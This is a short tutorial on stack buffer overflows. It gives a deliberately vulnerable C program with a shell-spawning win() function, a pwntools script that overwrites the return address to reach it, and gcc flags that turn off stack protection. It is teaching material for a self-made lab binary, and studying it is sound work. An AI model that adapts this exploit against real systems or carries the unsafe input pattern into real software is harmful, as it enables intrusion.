A buffer overflow occurs when a program writes more data
to a buffer than it was allocated to hold. This can cause the program to
crash, or to execute arbitrary code.
A buffer is a contiguous block of memory that holds data
in the stack memory. Buffers are used to store data that is read from or
written to files, network connections, and other sources.
When we want to use this kind of attack we want to write more data than expected in a buffer. We can check if the binary contains non secure function, a small list can be found here. Once we have found a vulnerable function our goal is to overwrite the return address of the function with an address that we controll or that execute the code that we want. Here is a small C program and the relative exploit:
#include <stdio.h>
#include <unistd.h>
void win() {
execve("/bin/sh", NULL, NULL);
}
int main() {
char buffer[16];
printf("Hello, world!\n");
scanf("%s", buffer);
}We want to call the win funciton, but how we can do that?
#!/usr/bin/env python3
from pwn import *
exe = ELF("./main")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
elif args.GDB:
r = gdb.debug([exe.path], """
""")
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
r.sendline(b'A'*16 + p64(0xdeadbeef) + p64(exe.sym['win']))
r.interactive()
if __name__ == "__main__":
main()Let’s analyze the exploit, we are sending 16 bytes of A, this is needed to load the buffer wich is 16 bytes long, then we are sending a fake RBP (Base Pointer) address, if you look at the stack structure there is the RBP field before the return address, then we send the address of the win function that is obtained from the binary (thanks pwntools). I suggest to try to use gdb to understand what is happening in the stack.
Tips: the p64 function is used to pack a 64 bit value
taking care of the endianess. If you want to compile the program
yourself you need to add the following flags to gcc:
-fno-stack-protector -no-pie
Ex: gcc main.c -o main -fno-stack-protector -no-pie